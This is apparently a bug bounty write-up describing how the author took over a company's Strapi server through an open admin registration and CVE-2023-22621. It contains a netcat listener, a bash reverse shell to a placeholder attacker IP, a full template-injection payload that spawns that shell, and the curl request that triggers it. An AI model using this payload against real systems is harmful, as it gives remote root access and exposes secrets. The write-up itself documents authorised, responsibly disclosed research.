Remote code execution in a billion-dollar publicly traded company

Thumbnail

There are 4 things that need to happen in order to find CVE-2023-22621 in the wild:

The stars have aligned in my favor, and with this CVE, I managed to fully take over one of the websites of a billion-dollar company listed on the New York Stock Exchange.

And I happen to be invited to their private bug bounty program.

Reconnaissance

I have a server that pings me of new subdomains of this company every 5pm Manila time so I can check them out after work.

Usually I don’t find anything in my probes, and this one: strapi.[redacted].com also didn’t trigger any alarms at first. My automations pinged me about the subdomain of this website around early December 2023, but this website caught my attention during a manual inspection of the company assets that I did around early February 2024.

I couldn’t believe it at first, but the super admin registration for this website was open. And somehow, no other hacker had seen this before me:

Admin Registration

Realizing this was nothing short of exhilarating, since it’s been months since I got a paid bug bounty.

Escalation

Claiming the super admin of a website is nice and dandy, but like most other security researchers, I asked myself: “How can I escalate this to something even more severe?”.

The next step was obvious; I googled ‘strapi cve’. One particular CVE instantly caught my attention: CVE-2023-22621 which allows for an authenicated user to execute the highly coveted remote code execution.

The CVE ticks all of the boxes:

Exploitation

The CVE allows for a remote code execution via a reverse shell, which requires an attacker server waiting for incoming TCP connection from a victim server.

Preparing the attacker server

I whipped up a small Digital Ocean droplet and using netcat I had it listen to incoming TCP connections in port 1234:

$ nc -lvnp 1234

Executing the reverse shell payload

The reverse shell payload that worked for me after initial tests in my local network was the following:

bash -c 'bash -i >& /dev/tcp/[MY_ATTACKER_IP]/1234 0>&1'

Combining this with the NodeJs exploit described in the CVE, we get the following payload:

<%= `${ process.binding("spawn_sync").spawn({"file":"/bin/bash","args":["/bin/bash","-c","bash -c 'bash -i >& /dev/tcp/[MY_ATTACKER_IP]/1234 0>&1'"],"stdio":[{"readable":1,"writable":1,"type":"pipe"},{"readable":1,"writable":1,"type":"pipe"/*<>%=*/}]}).output }` %>

Now, CVE-2023-22621 exploits an email template bypass in Strapi. Simply put, it runs when an attempt to send an email is sent. The initial configuration of Strapi allows admins to update the email confirmation template. This is where the payload is saved:

Strapi RCE payload

Spawning a shell as root in the compromised server

This exploit runs when a confirmation email is sent, so an API call that registers a new user to Strapi in order to execute the reverse shell is necessary. This is a basic cURL command for that purpose:

$ curl -vvv -X POST -H 'Content-Type: application/json' -d '{"email":"tedminfosec+rce1@gmail.com", "username":"rcetrigger1", "password": "Test1234!"}' https://strapi.[redacted].com/auth/local/register/

Upon execution of the cURL command, Strapi attempts to validate the email template. The exploit then takes advantage of a template validation bypass and runs the reverse shell payload via node. The reverse shell then initiates a TCP connection to my attacker server, which spawns a bash session.

Now, the attacker machine has logged in to the server as root, giving me total control of the server:

root@[redacted]:/home/[redacted]/project/strapi# ls
ls
api    config      favicon.ico   package.json  README.md
build  extensions  node_modules  public        yarn.lock

In order to prove the RCE, I left an inconspicuous text file in the server at /root/tedminfosec.txt:

root@[redacted]:/home/[redacted]/project/strapi# cat /root/tedminfosec.txt
hello from tedminfosec@wearehackerone.com

Impact

Without disclosing too much about the compromised server, it contains highly sensitive keys and secrets that could have allowed a malicious actor to pivot to other, more sensitive assets in the company’s internal network.

The malicious actor could have done more than just defacing a website or use it to launch phishing campaigns.

Since privilege escalation at this point would break the rules of engagement, I decided to stop testing from there.

Responsible disclosure

Once that’s done, I took my time to write a detailed vulnerability report and submitted it to the bug bounty program. It was triaged as Critical:

Strapi RCE triage

Now that’s how I compromised a server of a company worth more than a billion dollars.